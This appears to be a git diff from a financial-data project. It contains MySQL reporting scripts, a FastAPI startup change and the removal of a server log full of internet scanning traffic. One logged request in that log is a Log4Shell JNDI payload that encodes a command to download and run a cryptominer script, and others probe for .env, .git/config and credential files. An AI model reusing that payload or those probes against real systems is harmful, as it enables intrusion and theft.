TotalFixedAsset,
TConstruInProcess,
GoodWill,
ShortTermLoan,
AccountsPayable,
ContractLiability,
LongtermLoan
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM lc_balancesheetall a
where IfMerged =1
and EndDate=@enddate_1 and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t4
on t1.CompanyCode = t4.CompanyCode
left join
(
select
CompanyCode
,EndDate
,AccountingStandards
,OperatingExpense
,OperatingCost
,AdministrationExpense
,FinancialExpense
,RAndD
from
(
SELECT *
FROM (SELECT b.*
,@rownum := @rownum+1
,IF(@pdept = b.CompanyCode, @rank := @rank + 1, @rank := 1) AS rank_num
,@pdept := b.CompanyCode
FROM (SELECT * FROM LC_IncomeStatementAll a
where IfMerged =1
and EndDate=@enddate and InfoPublDate < @InfoPublDate
ORDER BY a.CompanyCode, a.InfoPublDate DESC) b
-- 初始化自定义变量值
,(SELECT @rownum :=0, @pdept := NULL, @rank:=0) c
-- 该排序必须,否则结果会不对
ORDER BY b.CompanyCode, b.InfoPublDate DESC) result
order by CompanyCode, rank_num
)t where t.rank_num=1
)t3
on t1.CompanyCode = t3.CompanyCode
;
INSERT INTO third_measure_data SELECT * from third_quarter_external_data_tmp_pre;
select * from third_measure_data where year = 2024 and report_type = 1;

View File

@ -0,0 +1,33 @@
# 新增指标数据
delete FROM measure_config_half_year where year = 2025 ;
# 1 先复制上一年的所有指标数据
INSERT INTO measure_config_half_year
SELECT
-- 列出所有其他字段保持不变
measure_id,
measure_name,
ori_measure_id,
ori_measure_name,
delete_status,
measure_vector,
distance,
-- 仅修改year字段为2025
2025 AS year
FROM measure_config_half_year
WHERE year = 2024;
# 先修改 ori_measure_name 中上一年2024的 改为2025
UPDATE measure_config_half_year
SET ori_measure_name = REPLACE(ori_measure_name, '2024', '2025')
WHERE ori_measure_name LIKE '%2024%' and `year` = 2025;
# 先修改 ori_measure_name 中上一年2023的 改为2024
UPDATE measure_config_half_year
SET ori_measure_name = REPLACE(ori_measure_name, '2023', '2024')
WHERE ori_measure_name LIKE '%2023%' and `year` = 2025;
SELECT * from measure_config_half_year where `year` = 2025 and ori_measure_name LIKE '%2025%';

Binary file not shown.

View File

@ -353,6 +353,18 @@ app.post("/parser/disclosure",
# 运行 FastAPI 应用
if __name__ == "__main__":
try:
# 获取内网IP
ip = get_local_ip()
logger.info(f"内网IP地址: {ip}")
# 假设 config.NOTIFY_ADDR 是一个字符串,我们可以使用 rpartition 方法来替换最后一个 / 后面的值
url = config.NOTIFY_ADDR.rpartition('/')[0] + '/restart?address'
address = f"{ip}:{config.PORT}"
logger.info(address)
response = requests.get(url, params={'address':address})
logger.info(f"Response status code: {response.status_code}")
except KeyboardInterrupt:
logger.info("Shutdown server")
# 服务器启动服务
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=config.PORT)

View File

@ -1,521 +0,0 @@
nohup: ignoring input
INFO: Started server process [2255841]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: Uvicorn running on http://0.0.0.0:8001 (Press CTRL+C to quit)
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 80.66.83.46:32838 - "CONNECT 80.66.83.46%3A80 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 64.62.197.53:3545 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.197.50:35771 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.197.47:13919 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.197.48:21545 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:57546 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 1.92.159.135:33735 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 1.92.159.135:57283 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 111.7.96.172:12566 - "GET / HTTP/1.1" 404 Not Found
INFO: 123.249.108.188:15282 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:36188 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 95.214.53.211:49760 - "GET / HTTP/1.1" 404 Not Found
INFO: 13.58.97.162:57062 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:49978 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 39.105.14.55:35848 - "GET / HTTP/1.1" 404 Not Found
INFO: 39.105.14.55:35238 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.156.60:32883 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.156.62:35677 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.156.63:36665 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.156.64:2695 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 154.212.141.167:39308 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 185.216.140.186:50780 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
INFO: 206.168.34.197:34136 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.197:34148 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 123.249.108.188:18897 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 204.188.228.42:37138 - "GET / HTTP/1.1" 404 Not Found
INFO: 87.236.176.70:45919 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 74.82.47.5:59374 - "GET / HTTP/1.1" 404 Not Found
INFO: 74.82.47.5:36568 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 74.82.47.5:22818 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 74.82.47.5:22834 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 185.216.140.186:39202 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 113.141.84.160:46762 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 172.206.143.215:52262 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 65.49.20.66:32032 - "GET / HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:11880 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:8166 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 65.49.20.66:8170 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 125.36.252.182:35210 - "HEAD http%3A//110.242.68.4/ HTTP/1.1" 404 Not Found
INFO: 183.93.85.22:45035 - "GET http%3A//www.wujieliulan.com/ HTTP/1.1" 404 Not Found
INFO: 183.93.85.22:63911 - "CONNECT www.baidu.com%3A443 HTTP/1.1" 404 Not Found
INFO: 183.93.85.22:56321 - "GET http%3A//www.rfa.org/english/ HTTP/1.1" 404 Not Found
INFO: 183.93.85.22:49588 - "CONNECT cn.bing.com%3A443 HTTP/1.1" 404 Not Found
INFO: 183.93.85.22:20626 - "GET http%3A//dongtaiwang.com/ HTTP/1.1" 404 Not Found
INFO: 183.93.85.22:18861 - "CONNECT www.voanews.com%3A443 HTTP/1.1" 404 Not Found
INFO: 121.29.178.42:41815 - "GET http%3A//www.epochtimes.com/ HTTP/1.1" 404 Not Found
INFO: 121.29.178.42:58806 - "CONNECT www.so.com%3A443 HTTP/1.1" 404 Not Found
INFO: 121.29.178.42:22055 - "GET http%3A//www.soso.com/ HTTP/1.1" 404 Not Found
INFO: 121.29.178.42:15541 - "GET http%3A//www.minghui.org/ HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 206.168.34.36:50306 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.36:50314 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:59964 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 223.113.128.158:50058 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:35796 - "GET / HTTP/1.1" 404 Not Found
INFO: 52.81.237.92:54862 - "GET / HTTP/1.1" 404 Not Found
INFO: 52.81.237.92:54864 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 52.81.237.92:54884 - "GET /sitemap.xml HTTP/1.1" 404 Not Found
INFO: 52.81.237.92:54874 - "GET /robots.txt HTTP/1.1" 404 Not Found
INFO: 162.243.8.38:44506 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 64.62.197.214:16647 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.197.223:22653 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.197.221:26687 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.197.214:2107 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 124.70.63.89:57249 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 124.70.63.89:18564 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 221.3.24.185:64663 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 106.75.189.197:40002 - "POST /token HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:39220 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 113.141.85.252:58036 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 103.203.58.4:47208 - "GET / HTTP/1.1" 404 Not Found
INFO: 2.57.122.207:42128 - "GET / HTTP/1.1" 404 Not Found
INFO: 2.57.122.207:42128 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 162.142.125.37:35894 - "GET / HTTP/1.1" 404 Not Found
INFO: 162.142.125.37:35908 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 206.168.34.121:38726 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.121:38738 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 206.168.34.42:34776 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.42:54344 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 87.236.176.211:56241 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 64.62.156.14:6981 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.156.21:38001 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.156.17:47719 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.156.19:24409 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 31.13.224.51:36814 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 120.46.16.109:30384 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 120.46.16.109:16930 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 123.249.108.188:43694 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:56286 - "GET / HTTP/1.1" 404 Not Found
INFO: 184.105.139.70:59608 - "GET / HTTP/1.1" 404 Not Found
INFO: 184.105.139.70:54880 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 184.105.139.70:54884 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 184.105.139.70:65464 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:34390 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.216.140.186:55756 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
INFO: 124.70.90.23:52356 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 36.41.68.61:44290 - "GET / HTTP/1.1" 404 Not Found
INFO: 13.64.193.117:47282 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.216.140.186:59794 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
INFO: 162.142.125.33:47956 - "GET / HTTP/1.1" 404 Not Found
INFO: 162.142.125.33:47972 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 159.65.236.96:54972 - "GET / HTTP/1.1" 404 Not Found
INFO: 123.145.33.216:17362 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 5.135.58.198:44397 - "GET / HTTP/1.1" 404 Not Found
INFO: 178.32.72.218:47617 - "GET /favicon.ico HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 60.191.20.210:43456 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 184.105.247.195:24312 - "GET / HTTP/1.1" 404 Not Found
INFO: 184.105.247.195:18346 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 184.105.247.195:18362 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 184.105.247.195:18378 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
INFO: 80.75.212.9:36590 - "CONNECT api.ip.pn%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:33458 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.91.127.9:43792 - "GET /t%28%27%24%7B%24%7Benv%3ANaN%3A-j%7Dndi%24%7Benv%3ANaN%3A-%3A%7D%24%7Benv%3ANaN%3A-l%7Ddap%24%7Benv%3ANaN%3A-%3A%7D//89.34.230.11%3A3306/TomcatBypass/Command/Base64/Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWelQ1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRldpcGVZdDVlRk5VeDlwbUdO%7D%27%29 HTTP/1.1" 404 Not Found
INFO: 185.91.127.43:34340 - "CONNECT api.ip.pn%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:47662 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 1.94.195.230:27084 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 1.94.195.230:52315 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.216.140.186:37086 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
INFO: 87.236.176.221:52211 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.206:59698 - "GET / HTTP/1.1" 404 Not Found
INFO: 206.168.34.206:59708 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 80.75.212.9:43956 - "CONNECT api.ip.pn%3A443 HTTP/1.1" 404 Not Found
INFO: 64.62.197.80:52199 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.197.81:37671 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.197.89:8367 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.197.81:27717 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 152.32.135.214:45910 - "GET / HTTP/1.1" 404 Not Found
INFO: 152.32.135.214:39902 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 152.32.135.214:39908 - "GET /robots.txt HTTP/1.1" 404 Not Found
INFO: 152.32.135.214:39912 - "GET /sitemap.xml HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:51164 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 120.46.16.109:25305 - "HEAD /sitemap.xml HTTP/1.1" 404 Not Found
INFO: 120.46.16.109:57264 - "GET /sitemap.xml HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 154.212.141.151:56762 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:44644 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 64.62.197.165:56651 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.197.152:10483 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.197.160:50057 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.197.161:40701 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 138.197.191.87:39360 - "GET / HTTP/1.1" 404 Not Found
ERROR: Exception in ASGI application
Traceback (most recent call last):
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/uvicorn/protocols/http/h11_impl.py", line 407, in run_asgi
result = await app( # type: ignore[func-returns-value]
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/uvicorn/middleware/proxy_headers.py", line 69, in __call__
return await self.app(scope, receive, send)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/fastapi/applications.py", line 1054, in __call__
await super().__call__(scope, receive, send)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/applications.py", line 123, in __call__
await self.middleware_stack(scope, receive, send)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/middleware/errors.py", line 186, in __call__
raise exc
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/middleware/errors.py", line 164, in __call__
await self.app(scope, receive, _send)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/middleware/exceptions.py", line 65, in __call__
await wrap_app_handling_exceptions(self.app, conn)(scope, receive, send)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/_exception_handler.py", line 78, in wrapped_app
await response(scope, receive, sender)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/responses.py", line 152, in __call__
await send(
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/_exception_handler.py", line 50, in sender
await send(message)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/starlette/middleware/errors.py", line 161, in _send
await send(message)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/uvicorn/protocols/http/h11_impl.py", line 489, in send
output = self.conn.send(event=response)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/h11/_connection.py", line 512, in send
data_list = self.send_with_data_passthrough(event)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/h11/_connection.py", line 537, in send_with_data_passthrough
self._process_event(self.our_role, event)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/h11/_connection.py", line 272, in _process_event
self._cstate.process_event(role, type(event), server_switch_event)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/h11/_state.py", line 293, in process_event
self._fire_event_triggered_transitions(role, _event_type)
File "/root/anaconda3/envs/py310/lib/python3.10/site-packages/h11/_state.py", line 311, in _fire_event_triggered_transitions
raise LocalProtocolError(
h11._util.LocalProtocolError: can't handle event type Response when role=SERVER and state=MUST_CLOSE
INFO: 138.197.191.87:39362 - "GET / HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49354 - "GET /server HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49358 - "GET /version HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49374 - "GET /.vscode/sftp.json HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49388 - "GET /about HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49394 - "GET /debug/default/view?panel=config HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49404 - "GET /v2/_catalog HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49416 - "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49430 - "GET /server-status HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49442 - "GET /_all_dbs HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:49446 - "GET /.DS_Store HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:36216 - "GET /.env HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:36226 - "GET /.git/config HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:36240 - "GET /s/330313e20363e24393e213/_/%3B/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:36252 - "GET /config.json HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:36262 - "GET /telescope/requests HTTP/1.1" 404 Not Found
INFO: 138.197.191.87:36272 - "GET /?rest_route=/wp/v2/users/ HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 1.92.159.135:44049 - "HEAD /config.json HTTP/1.1" 404 Not Found
INFO: 1.92.159.135:35640 - "GET /config.json HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 1.94.195.230:31877 - "HEAD /.vscode/sftp.json HTTP/1.1" 404 Not Found
INFO: 1.94.195.230:18422 - "GET /.vscode/sftp.json HTTP/1.1" 404 Not Found
INFO: 42.63.124.88:16626 - "GET / HTTP/1.1" 404 Not Found
INFO: 1.83.125.97:13483 - "GET / HTTP/1.1" 404 Not Found
INFO: 183.160.194.117:4463 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 45.207.223.44:53774 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53788 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53802 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53812 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53824 - "GET /login.rsp HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:51720 - "GET /nobody/favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:51724 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:38120 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:38128 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:38138 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:52270 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:52280 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:52286 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:52296 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:37634 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:37636 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:37638 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53680 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53686 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53692 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:53696 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:48892 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:48900 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:48904 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:48914 - "GET /image/lgbg.jpg HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:47014 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:47016 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:47026 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:47034 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:38420 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:56652 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:56662 - "GET / HTTP/1.1" 404 Not Found
INFO: 45.207.223.44:42704 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 123.249.105.139:30528 - "HEAD /image/lgbg.jpg HTTP/1.1" 404 Not Found
INFO: 123.249.105.139:62486 - "GET /image/lgbg.jpg HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 124.70.63.89:27278 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 124.70.63.89:62601 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 1.92.159.135:25603 - "HEAD / HTTP/1.1" 404 Not Found
INFO: 1.92.159.135:39062 - "GET / HTTP/1.1" 404 Not Found
INFO: 119.23.241.9:39090 - "GET / HTTP/1.1" 404 Not Found
INFO: 119.23.241.9:39118 - "GET /lang/CN.txt HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 172.169.4.170:54810 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:38808 - "GET / HTTP/1.1" 404 Not Found
INFO: 162.142.125.194:53228 - "GET / HTTP/1.1" 404 Not Found
INFO: 162.142.125.194:53238 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 173.230.135.6:49676 - "GET / HTTP/1.0" 404 Not Found
INFO: 135.148.63.215:40035 - "GET / HTTP/1.1" 404 Not Found
INFO: 51.81.181.175:37407 - "GET /favicon.ico HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 64.62.156.89:59349 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.156.88:55637 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.156.85:58053 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.156.87:5115 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 87.236.176.226:49403 - "GET / HTTP/1.1" 404 Not Found
INFO: 185.191.126.248:54802 - "GET / HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 64.62.197.168:52085 - "GET / HTTP/1.1" 404 Not Found
INFO: 64.62.197.178:24179 - "GET /favicon.ico HTTP/1.1" 404 Not Found
INFO: 64.62.197.179:52289 - "GET http%3A//api.ipify.org/?format=json HTTP/1.1" 404 Not Found
INFO: 64.62.197.169:64257 - "CONNECT www.shadowserver.org%3A443 HTTP/1.1" 404 Not Found
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
WARNING: Invalid HTTP request received.
INFO: 185.216.140.186:60346 - "GET http%3A//pingjs.qq.com/ping.js HTTP/1.1" 404 Not Found
INFO: 167.94.138.34:46446 - "GET / HTTP/1.1" 404 Not Found
INFO: 167.94.138.34:46456 - "PRI %2A HTTP/2.0" 404 Not Found
WARNING: Invalid HTTP request received.
INFO: 185.191.126.248:37700 - "GET / HTTP/1.1" 404 Not Found
INFO: 134.209.10.97:46074 - "GET / HTTP/1.1" 404 Not Found
